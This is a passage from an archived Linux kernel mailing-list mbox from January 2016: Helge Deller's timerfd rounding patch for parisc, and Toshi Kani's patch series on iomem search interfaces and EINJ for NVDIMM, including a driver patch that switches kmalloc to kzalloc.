	id S1753521AbcADW2T (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Jan 2016 17:28:19 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:61003 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753345AbcADW2Q (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Jan 2016 17:28:16 -0500
Original-Received: from p100.box ([92.203.21.165]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0MIyCj-1aEIjQ1rgH-002Ty2; Mon, 04 Jan 2016 23:28:01
 +0100
Content-Disposition: inline
In-Reply-To: <alpine.DEB.2.11.1512301052520.28591@nanos>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:EzBrpw1faS7Y4yWQzWQ+6KpY8BxNafUhIH2unnSRv1eO5/SZMj+
 7JwF5ing6kcgYDF/v36DXjQHhODujR0+D2TfEhE4Mjf/m3QqGQk45FjQkbVCT2H4LukzF2g
 cNGsyVX+7iyioF847sPqKwmjcuklucrSlJqggceNASrHgAGqG/o1s03oYti7U9C+iODXB9K
 bNLXoJMp5Q0+txa7xuAYQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:WhVH9DTnENw=:tCLqghFHHGDFfyGDRxpk5c
 k12N1Lr+PUSUI2TYpIEXIeKVXx7dlZ0QOjscgfi+Ui33mB7lx52Jd2SvQEoeRJ4ZRWaVsBuHz
 XTl5y7AYsFyJWQPZHz8LRyakn44XfIugG1g/QDLZgF0+WwLDoCUPOZuMcP1wFW6il+rkCxPyQ
 JBd5WZTiMomBCzr7qadRcOoTgX3T0F2N8YHKGSHuIEIXWfev63VLdVwOgwv1ffuHueedDxdHT
 m7u1WIdoRDMiiwngX945C/iZFqzKkmaiJXFRrGPnZ594Uf7juilzgrvGGU/M/dKborHaoCp1o
 7GV3qKLd2EbYaVAZh5PDviOjCPp5lrc3wcDOS4timb59+K2mBnRfxZqZU1yJVjHYG2Gi00IEO
 cEocxawLwTjNrU0bc4nxj0ANRZjDUsDO2wGzeuX7dy9HnKPCwOkreb05XTaSQelXPfUhj4hZg
 FRAFjTzWMHqJx/+idYTZj0t3ulq9j9Ny02D3g+D+EHEu6lXcpgvjKHQwkMnaAYQp+fNIIL5qS
 1HO+guA9pW5AObbbKe/iX2Jx8mbvf9APAIC6RTOYeyfTks2Rt1Z6mfMpCVoRTITjxU3eBzq9H
 uckXatK8iAwlrvgfoGtMQBZecrKo2cbQafGWNG3kogvJe4Bztka9bDnY8CMPOJ45xXw2FJw+w
 dng9gCvS5N1AWlSdF6GL2ky+F+GsDzIYvfqQz6xHy0ILQ7AagFxvAkuWhKJ8Efj5ervf7t01p
 pmu0JIzG8LR4djjAuAo64NNVo+SRRi9hwk1FU1N1AKJFcOFvCeDPjoWPbs8=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26300 gmane.linux.kernel:2118369
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26300>

Hi Thomas,

* Thomas Gleixner <tglx@linutronix.de>:
> On Tue, 29 Dec 2015, Helge Deller wrote:
> > No, the patch below doesn't help.
> > 
> > I still see:
> > [  644.916000] timerfd_settime: interval (sec=0, nsec=100000000) it_value (sec=0, nsec=100000000) 
> > [  645.024000] timerfd_gettime: interval (sec=0, nsec=100000000) it_value (sec=0, nsec=103029949) 
> > 
> 
> Right. It can't help. Sorry for the distraction.
> 
> Looking deeper I found the issue. It's caused by CONFIG_TIME_LOW_RES. See the
> comment in hrtimer_start_range_ns(). We round the expiry time to the next
> jiffies period to avoid short timeouts. Assuming you are running with HZ=250
> this is exactly 4ms. So that's where your extra time comes from.

Yes, that seems right.

> Not sure what to do about that.

The patch below seems to solve the issue for me. But I'm not sure if
there might be any side-effects. What do you think? Does the patch
seems correct? It just adjusts to values returned to userspace (and thus
hides the internal roundings).

Thanks,
Helge

diff --git a/fs/timerfd.c b/fs/timerfd.c
index b94fa6c..9b6cc73 100644
--- a/fs/timerfd.c
+++ b/fs/timerfd.c
@@ -152,8 +152,16 @@ static ktime_t timerfd_get_remaining(struct timerfd_ctx *ctx)
 
 	if (isalarm(ctx))
 		remaining = alarm_expires_remaining(&ctx->t.alarm);
-	else
+	else {
 		remaining = hrtimer_expires_remaining(&ctx->t.tmr);
+#ifdef CONFIG_TIME_LOW_RES
+		/* Expiry time was rounded up in hrtimer_start_range_ns()
+		 * to the next jiffies period to avoid short timeouts.
+		 * Subtract it here again to avoid userspace seeing higher
+		 * values than expected. */
+		remaining.tv64 -= hrtimer_resolution;
+#endif
+	}
 
 	return remaining.tv64 < 0 ? ktime_set(0, 0): remaining;
 }
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:38:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Toshi Kani <toshi.kani@hpe.com>
Newsgroups: gmane.linux.acpi.devel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.kernel.kexec,gmane.linux.kernel.samsung-soc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: [PATCH v3 00/17] Enhance iomem search interfaces and support EINJ to NVDIMM
Date: Tue,  5 Jan 2016 11:54:28 -0700
Lines: 109
Approved: news@gmane.org
Message-ID: <1452020068-26492-1-git-send-email-toshi.kani@hpe.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1452020127 27980 80.91.229.3 (5 Jan 2016 18:55:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Jan 2016 18:55:27 +0000 (UTC)
Cc: torvalds@linux-foundation.org, rafael.j.wysocki@intel.com,
	dan.j.williams@intel.com, dyoung@redhat.com, x86@kernel.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-sh@vger.kernel.org, kexec@lists.infradead.org,
	xen-devel@lists.xenproject.org, linux-samsung-soc@vger.kernel.org,
	linux-arch@vger.kernel.org, linux-mm@kvack.org,
	linux-nvdimm@lists.01.org, linux-acpi@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: akpm@linux-foundation.org, bp@alien8.de
Original-X-From: linux-acpi-owner@vger.kernel.org Tue Jan 05 19:55:15 2016
Return-path: <linux-acpi-owner@vger.kernel.org>
Envelope-to: glad-acpi-devel@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-acpi-owner@vger.kernel.org>)
	id 1aGWlH-0007Cr-AQ
	for glad-acpi-devel@plane.gmane.org; Tue, 05 Jan 2016 19:55:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751687AbcAESzL (ORCPT <rfc822;glad-acpi-devel@m.gmane.org>);
	Tue, 5 Jan 2016 13:55:11 -0500
Original-Received: from g9t5009.houston.hp.com ([15.240.92.67]:43307 "EHLO
	g9t5009.houston.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751669AbcAESzJ (ORCPT
	<rfc822;linux-acpi@vger.kernel.org>); Tue, 5 Jan 2016 13:55:09 -0500
Original-Received: from g9t2301.houston.hp.com (g9t2301.houston.hp.com [16.216.185.78])
	by g9t5009.houston.hp.com (Postfix) with ESMTP id 14F6253;
	Tue,  5 Jan 2016 18:55:05 +0000 (UTC)
Original-Received: from misato.fc.hp.com (misato.fc.hp.com [16.78.168.61])
	by g9t2301.houston.hp.com (Postfix) with ESMTP id 0FB7B4F;
	Tue,  5 Jan 2016 18:55:02 +0000 (UTC)
X-Mailer: git-send-email 2.4.3
Original-Sender: linux-acpi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-acpi.vger.kernel.org>
X-Mailing-List: linux-acpi@vger.kernel.org
Xref: news.gmane.org gmane.linux.acpi.devel:80924 gmane.linux.ports.ia64:26068 gmane.linux.ports.parisc:26302 gmane.linux.ports.sh.devel:52653 gmane.linux.kernel.kexec:15001 gmane.linux.kernel.samsung-soc:51249 gmane.linux.kernel.cross-arch:30180 gmane.linux.kernel.mm:143905 gmane.linux.kernel:2119109
Archived-At: <http://permalink.gmane.org/gmane.linux.acpi.devel/80924>

This patch-set enhances the iomem table and its search interfacs, and
then changes EINJ to support NVDIMM.

 - Patches 1-2 add a new System RAM type, IORESOURCE_SYSTEM_RAM, and
   make the iomem search interfaces work with resource flags with
   modifier bits set.  IORESOURCE_SYSTEM_RAM has IORESOURCE_MEM bit set
   for backward compatibility.

 - Patch 3 adds a new field, I/O resource descriptor, into struct resource.
   Drivers can assign their unique descritor to a range when they support
   the iomem search interfaces.

 - Patches 4-9 changes initializations of resource entries.  They set
   the System RAM type to System RAM ranges, set I/O resource descriptors
   to the regions targeted by the iomem search interfaces, and change
   to call kzalloc() where kmalloc() is used to allocate struct resource
   ranges.

 - Patches 10-14 extend the iomem interfaces to check System RAM ranges
   with the System RAM type and the I/O resource descriptor.

 - Patch 15-16 remove deprecated walk_iomem_res().

 - Patch 17 changes the EINJ driver to allow injecting a memory error
   to NVDIMM.

---
v3:
 - Remove the walk_iomem_res() call with "GART" in crash.c since it is
   no longer needed. Then kill walk_iomem_res(). (Borislav Petkov,
   Dave Young)
 - Change to use crashk_res.desc at the walk_iomem_res_desc() call in
   kexec_add_buffer(). (Minfei Huang)

v2:
 - Add 'desc' to struct resource, and add a new iomem interface to
   search with the desc. (Borislav Petkov)
 - Add a check to checkpatch.pl to warn on new use of walk_iomem_res().
   (Borislav Petkov)

v1:
 - Searching for System RAM in the resource table should not require
   strcmp(). (Borislav Petkov)
 - Add a new System RAM type as a modifier to IORESOURCE_MEM.
   (Linus Torvalds)
 - NVDIMM check needs to be able to distinguish legacy and NFIT pmem
   ranges. (Dan Williams)

---
Toshi Kani (17):
 01/17 resource: Add System RAM resource type
 02/17 resource: make resource flags handled properly
 03/17 resource: Add I/O resource descriptor
 04/17 x86/e820: Set System RAM type and descriptor
 05/17 ia64: Set System RAM type and descriptor
 06/17 arch: Set IORESOURCE_SYSTEM_RAM to System RAM
 07/17 kexec: Set IORESOURCE_SYSTEM_RAM to System RAM
 08/17 xen, mm: Set IORESOURCE_SYSTEM_RAM to System RAM
 09/17 drivers: Initialize resource entry to zero
 10/17 resource: Change walk_system_ram to use System RAM type
 11/17 arm/samsung: Change s3c_pm_run_res() to use System RAM type
 12/17 memremap: Change region_intersects() to take @flags and @desc
 13/17 resource: Add walk_iomem_res_desc()
 14/17 x86,nvdimm,kexec: Use walk_iomem_res_desc() for iomem search
 15/17 x86/kexec: Remove walk_iomem_res() call with GART
 16/17 resource: Kill walk_iomem_res()
 17/17 ACPI/EINJ: Allow memory error injection to NVDIMM

---
 arch/arm/kernel/setup.c            |  6 +--
 arch/arm/plat-samsung/pm-check.c   |  4 +-
 arch/arm64/kernel/setup.c          |  6 +--
 arch/avr32/kernel/setup.c          |  6 +--
 arch/ia64/kernel/efi.c             | 13 ++++--
 arch/ia64/kernel/setup.c           |  6 +--
 arch/m32r/kernel/setup.c           |  4 +-
 arch/mips/kernel/setup.c           | 10 +++--
 arch/parisc/mm/init.c              |  6 +--
 arch/powerpc/mm/mem.c              |  2 +-
 arch/s390/kernel/setup.c           |  8 ++--
 arch/score/kernel/setup.c          |  2 +-
 arch/sh/kernel/setup.c             |  8 ++--
 arch/sparc/mm/init_64.c            |  8 ++--
 arch/tile/kernel/setup.c           | 11 +++--
 arch/unicore32/kernel/setup.c      |  6 +--
 arch/x86/kernel/crash.c            | 41 ++-----------------
 arch/x86/kernel/e820.c             | 38 ++++++++++++++++-
 arch/x86/kernel/pmem.c             |  4 +-
 arch/x86/kernel/setup.c            |  6 +--
 drivers/acpi/acpi_platform.c       |  2 +-
 drivers/acpi/apei/einj.c           | 15 +++++--
 drivers/nvdimm/e820.c              |  2 +-
 drivers/parisc/eisa_enumerator.c   |  4 +-
 drivers/rapidio/rio.c              |  8 ++--
 drivers/sh/superhyway/superhyway.c |  2 +-
 drivers/xen/balloon.c              |  2 +-
 include/linux/ioport.h             | 33 ++++++++++++++-
 include/linux/mm.h                 |  3 +-
 kernel/kexec_core.c                |  8 ++--
 kernel/kexec_file.c                |  8 ++--
 kernel/memremap.c                  | 13 +++---
 kernel/resource.c                  | 83 ++++++++++++++++++++++----------------
 mm/memory_hotplug.c                |  2 +-
 34 files changed, 225 insertions(+), 155 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-acpi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Toshi Kani <toshi.kani@hpe.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.acpi.devel,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: [PATCH v3 09/17] drivers: Initialize resource entry to zero
Date: Tue,  5 Jan 2016 11:54:33 -0700
Lines: 112
Approved: news@gmane.org
Message-ID: <1452020081-26534-9-git-send-email-toshi.kani@hpe.com>
References: <1452020081-26534-1-git-send-email-toshi.kani@hpe.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1452020171 28715 80.91.229.3 (5 Jan 2016 18:56:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Jan 2016 18:56:11 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
	linux-mm@kvack.org,
	linux-kernel@vger.kernel.org,
	linux-acpi@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	linux-sh@vger.kernel.org,
	Toshi Kani <toshi.kani@hpe.com>
To: akpm@linux-foundation.org,
	bp@alien8.de
Original-X-From: owner-linux-mm@kvack.org Tue Jan 05 19:55:55 2016
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1aGWlt-0007kT-NQ
	for glkm-linux-mm-2@m.gmane.org; Tue, 05 Jan 2016 19:55:54 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 2DFD1800D4; Tue,  5 Jan 2016 13:55:39 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 290C1800CA; Tue,  5 Jan 2016 13:55:39 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 1A9F7800D4; Tue,  5 Jan 2016 13:55:39 -0500 (EST)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-oi0-f47.google.com (mail-oi0-f47.google.com [209.85.218.47])
	by kanga.kvack.org (Postfix) with ESMTP id E6B4F800CA
	for <linux-mm@kvack.org>; Tue,  5 Jan 2016 13:55:38 -0500 (EST)
Original-Received: by mail-oi0-f47.google.com with SMTP id o62so274354926oif.3
        for <linux-mm@kvack.org>; Tue, 05 Jan 2016 10:55:38 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:from:to:cc
         :subject:date:message-id:in-reply-to:references;
        bh=zgDKSbMVtL1ulsXJpfd5LvT8QpAzlueDzBSp6LVRE6w=;
        b=UAgH6ZazXxs7vJ+gIKUoLNepQk701noeVFIIpUhyqvZUgNTGhOC1FWj3MhoGdyh/Ib
         18n33xJ1FZ8JmXsMInABjIJnza3Va187K242GDEJnBfI9/AgYBjdYcZ/g9XayMV0SU90
         Kua3dZGfDanNJdbsSYaK/ZaVNZiy08a5d0QunKnSXLpgeP/6yxNabhnXt7Yhq4DdgHkx
         Nl/q2aFMw7DlGxW5/A55CLs7JPTSfTiBGXxAiHaid/vGLO6tXqMg333ty0GcC4phcydj
         ede8bsz+IP8/7fSFcBcBRp2wS/a4zmzlNJ6Ly3ApDtGlwCR/Z8D9HJHvG1VOwFKYEOyJ
         8MAg==
X-Original-Authentication-Results: mx.google.com;       spf=neutral (google.com: 15.201.208.55 is neither permitted nor denied by best guess record for domain of toshi.kani@hpe.com) smtp.mailfrom=toshi.kani@hpe.com
X-Gm-Message-State: ALoCoQlNIdKi34VAwHULMi34HPQjeVf0CEYKHGZw4nDiYLqAGe+NKqalMUvsKNA2m9oJ8sR+Im3Iyd8I80BEGvTN4TMrtVZfi57A06hgQi3eee5nPMB1iMDE5bPuZ1PLmYjVz/rSvp9Ynj8VO1nTD7/Opw8ZNBuIj86Nyyqf31yxnwnBHTD7EdvteN8ro1qMU0C/gk4z4ikl
X-Received: by 10.202.97.11 with SMTP id v11mr57203274oib.12.1452020138753;
        Tue, 05 Jan 2016 10:55:38 -0800 (PST)
X-Received: by 10.202.97.11 with SMTP id v11mr57203259oib.12.1452020138414;
        Tue, 05 Jan 2016 10:55:38 -0800 (PST)
Original-Received: from g4t3427.houston.hp.com (g4t3427.houston.hp.com. [15.201.208.55])
        by mx.google.com with ESMTPS id q124si30827456oig.77.2016.01.05.10.55.38
        for <linux-mm@kvack.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Tue, 05 Jan 2016 10:55:38 -0800 (PST)
Received-SPF: neutral (google.com: 15.201.208.55 is neither permitted nor denied by best guess record for domain of toshi.kani@hpe.com) client-ip=15.201.208.55;
Authentication-Results: mx.google.com;
       spf=neutral (google.com: 15.201.208.55 is neither permitted nor denied by best guess record for domain of toshi.kani@hpe.com) smtp.mailfrom=toshi.kani@hpe.com
Original-Received: from g9t2301.houston.hp.com (g9t2301.houston.hp.com [16.216.185.78])
	by g4t3427.houston.hp.com (Postfix) with ESMTP id 0E23665;
	Tue,  5 Jan 2016 18:55:38 +0000 (UTC)
Original-Received: from misato.fc.hp.com (misato.fc.hp.com [16.78.168.61])
	by g9t2301.houston.hp.com (Postfix) with ESMTP id 4B4214F;
	Tue,  5 Jan 2016 18:55:37 +0000 (UTC)
X-Mailer: git-send-email 2.4.3
In-Reply-To: <1452020081-26534-1-git-send-email-toshi.kani@hpe.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:143913 gmane.linux.kernel.cross-arch:30188 gmane.linux.kernel:2119117 gmane.linux.acpi.devel:80925 gmane.linux.ports.parisc:26303 gmane.linux.ports.sh.devel:52654
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/143913>

I/O resource descriptor, 'desc' in struct resource, needs to be
initialized to zero by default.  Some drivers call kmalloc() to
allocate a resource entry, but does not initialize it to zero by
memset().  Change these drivers to call kzalloc(), instead.

Cc: linux-acpi@vger.kernel.org
Cc: linux-parisc@vger.kernel.org
Cc: linux-sh@vger.kernel.org
Acked-by: Simon Horman <horms+renesas@verge.net.au> # sh
Signed-off-by: Toshi Kani <toshi.kani@hpe.com>
---
 drivers/acpi/acpi_platform.c       |    2 +-
 drivers/parisc/eisa_enumerator.c   |    4 ++--
 drivers/rapidio/rio.c              |    8 ++++----
 drivers/sh/superhyway/superhyway.c |    2 +-
 4 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/drivers/acpi/acpi_platform.c b/drivers/acpi/acpi_platform.c
index 296b7a1..b6f7fa3 100644
--- a/drivers/acpi/acpi_platform.c
+++ b/drivers/acpi/acpi_platform.c
@@ -62,7 +62,7 @@ struct platform_device *acpi_create_platform_device(struct acpi_device *adev)
 	if (count < 0) {
 		return NULL;
 	} else if (count > 0) {
-		resources = kmalloc(count * sizeof(struct resource),
+		resources = kzalloc(count * sizeof(struct resource),
 				    GFP_KERNEL);
 		if (!resources) {
 			dev_err(&adev->dev, "No memory for resources\n");
diff --git a/drivers/parisc/eisa_enumerator.c b/drivers/parisc/eisa_enumerator.c
index a656d9e..21905fe 100644
--- a/drivers/parisc/eisa_enumerator.c
+++ b/drivers/parisc/eisa_enumerator.c
@@ -91,7 +91,7 @@ static int configure_memory(const unsigned char *buf,
 	for (i=0;i<HPEE_MEMORY_MAX_ENT;i++) {
 		c = get_8(buf+len);
 		
-		if (NULL != (res = kmalloc(sizeof(struct resource), GFP_KERNEL))) {
+		if (NULL != (res = kzalloc(sizeof(struct resource), GFP_KERNEL))) {
 			int result;
 			
 			res->name = name;
@@ -183,7 +183,7 @@ static int configure_port(const unsigned char *buf, struct resource *io_parent,
 	for (i=0;i<HPEE_PORT_MAX_ENT;i++) {
 		c = get_8(buf+len);
 		
-		if (NULL != (res = kmalloc(sizeof(struct resource), GFP_KERNEL))) {
+		if (NULL != (res = kzalloc(sizeof(struct resource), GFP_KERNEL))) {
 			res->name = board;
 			res->start = get_16(buf+len+1);
 			res->end = get_16(buf+len+1)+(c&HPEE_PORT_SIZE_MASK)+1;
diff --git a/drivers/rapidio/rio.c b/drivers/rapidio/rio.c
index d7b87c6..e220edc 100644
--- a/drivers/rapidio/rio.c
+++ b/drivers/rapidio/rio.c
@@ -117,7 +117,7 @@ int rio_request_inb_mbox(struct rio_mport *mport,
 	if (mport->ops->open_inb_mbox == NULL)
 		goto out;
 
-	res = kmalloc(sizeof(struct resource), GFP_KERNEL);
+	res = kzalloc(sizeof(struct resource), GFP_KERNEL);
 
 	if (res) {
 		rio_init_mbox_res(res, mbox, mbox);
@@ -185,7 +185,7 @@ int rio_request_outb_mbox(struct rio_mport *mport,
 	if (mport->ops->open_outb_mbox == NULL)
 		goto out;
 
-	res = kmalloc(sizeof(struct resource), GFP_KERNEL);
+	res = kzalloc(sizeof(struct resource), GFP_KERNEL);
 
 	if (res) {
 		rio_init_mbox_res(res, mbox, mbox);
@@ -285,7 +285,7 @@ int rio_request_inb_dbell(struct rio_mport *mport,
 {
 	int rc = 0;
 
-	struct resource *res = kmalloc(sizeof(struct resource), GFP_KERNEL);
+	struct resource *res = kzalloc(sizeof(struct resource), GFP_KERNEL);
 
 	if (res) {
 		rio_init_dbell_res(res, start, end);
@@ -360,7 +360,7 @@ int rio_release_inb_dbell(struct rio_mport *mport, u16 start, u16 end)
 struct resource *rio_request_outb_dbell(struct rio_dev *rdev, u16 start,
 					u16 end)
 {
-	struct resource *res = kmalloc(sizeof(struct resource), GFP_KERNEL);
+	struct resource *res = kzalloc(sizeof(struct resource), GFP_KERNEL);
 
 	if (res) {
 		rio_init_dbell_res(res, start, end);
diff --git a/drivers/sh/superhyway/superhyway.c b/drivers/sh/superhyway/superhyway.c
index 2d9e7f3..bb1fb771 100644
--- a/drivers/sh/superhyway/superhyway.c
+++ b/drivers/sh/superhyway/superhyway.c
@@ -66,7 +66,7 @@ int superhyway_add_device(unsigned long base, struct superhyway_device *sdev,
 	superhyway_read_vcr(dev, base, &dev->vcr);
 
 	if (!dev->resource) {
-		dev->resource = kmalloc(sizeof(struct resource), GFP_KERNEL);
+		dev->resource = kzalloc(sizeof(struct resource), GFP_KERNEL);
 		if (!dev->resource) {
 			kfree(dev);
 			return -ENOMEM;

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:38:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.acpi.devel,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: Re: [PATCH v3 09/17] drivers: Initialize resource entry to zero
Date: Tue, 5 Jan 2016 21:57:33 +0100
Lines: 124
Approved: news@gmane.org
Message-ID: <568C2E3D.4060701@gmx.de>
References: <1452020081-26534-1-git-send-email-toshi.kani@hpe.com>
 <1452020081-26534-9-git-send-email-toshi.kani@hpe.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1452027477 20467 80.91.229.3 (5 Jan 2016 20:57:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Jan 2016 20:57:57 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-mm@kvack.org,
 linux-kernel@vger.kernel.org, linux-acpi@vger.kernel.org,
 linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org
To: Toshi Kani <toshi.kani@hpe.com>, akpm@linux-foundation.org, bp@alien8.de
Original-X-From: owner-linux-mm@kvack.org Tue Jan 05 21:57:44 2016
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1aGYfn-0003sy-Ca
	for glkm-linux-mm-2@m.gmane.org; Tue, 05 Jan 2016 21:57:43 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id E8A606B0003; Tue,  5 Jan 2016 15:57:41 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id E3A0A6B0006; Tue,  5 Jan 2016 15:57:41 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id D2A186B0007; Tue,  5 Jan 2016 15:57:41 -0500 (EST)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wm0-f42.google.com (mail-wm0-f42.google.com [74.125.82.42])
	by kanga.kvack.org (Postfix) with ESMTP id 7D1826B0003
	for <linux-mm@kvack.org>; Tue,  5 Jan 2016 15:57:41 -0500 (EST)
Original-Received: by mail-wm0-f42.google.com with SMTP id b14so47818188wmb.1
        for <linux-mm@kvack.org>; Tue, 05 Jan 2016 12:57:41 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:subject:to
         :references:cc:from:message-id:date:user-agent:mime-version
         :in-reply-to:content-type:content-transfer-encoding;
        bh=MdmObpRqC5HN60ruO7w1Iw8E0y6UGionse79s7W3ZPM=;
        b=NnmFwmFgnDpBOxJIEIyq8LqaY51YoEOE4DiqAxbEvIaQGcLA6FcMhUKcXyw+I8DOI+
         62SWuCuPY0mOCdLrsZsF1ux8I++BB+Uymj9Y4QTexT9VJrlH82F1macblWNCIQfZtqrR
         6YXQufUvVhDk/29sJmqldx+LvzybmZude+YK3SAYTe0xLvEAg9ywcScH/ZtxM70z8699
         GdLpfpOnarDxxvDBpvYv/3ZbUJDTB1DHEti8GWff9jrNAIc6Hj+mtdWc4LOMEtgY4bsS
         Qzl1JosNdnq8NZACcjyRAfZH4147SEICvFZOkH2L3vzA23Pq86KJBOAbjIKNYXgmsnfX
         v9ug==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of deller@gmx.de designates 212.227.15.19 as permitted sender) smtp.mailfrom=deller@gmx.de
X-Gm-Message-State: ALoCoQmAnC6imycl/HMoG6+YRXxCFujctDVIfKPOE55iHoHl8f/xdnVDx1Ai0bnB9uxDZEM44n/iipbYh1qeGlbFogSWcMBua4BFFCbno9Dx9WvaHr0r4QaTPcJo6e5XqhljQABZs/VzzlC+GSeB1nxEzIga9Eg32xVTQ8qCIxIIsKTCkVCzv02CUKAcDPnDbfH8CIbt8Ni1
X-Received: by 10.195.11.101 with SMTP id eh5mr105295643wjd.104.1452027461112;
        Tue, 05 Jan 2016 12:57:41 -0800 (PST)
X-Received: by 10.195.11.101 with SMTP id eh5mr105295620wjd.104.1452027460558;
        Tue, 05 Jan 2016 12:57:40 -0800 (PST)
Original-Received: from mout.gmx.net (mout.gmx.net. [212.227.15.19])
        by mx.google.com with ESMTPS id di9si73000922wjc.18.2016.01.05.12.57.40
        for <linux-mm@kvack.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Tue, 05 Jan 2016 12:57:40 -0800 (PST)
Received-SPF: pass (google.com: domain of deller@gmx.de designates 212.227.15.19 as permitted sender) client-ip=212.227.15.19;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of deller@gmx.de designates 212.227.15.19 as permitted sender) smtp.mailfrom=deller@gmx.de
Original-Received: from [192.168.20.60] ([92.203.56.35]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0M92lh-1aMHqX3hIz-00CRLN; Tue, 05 Jan 2016 21:57:37
 +0100
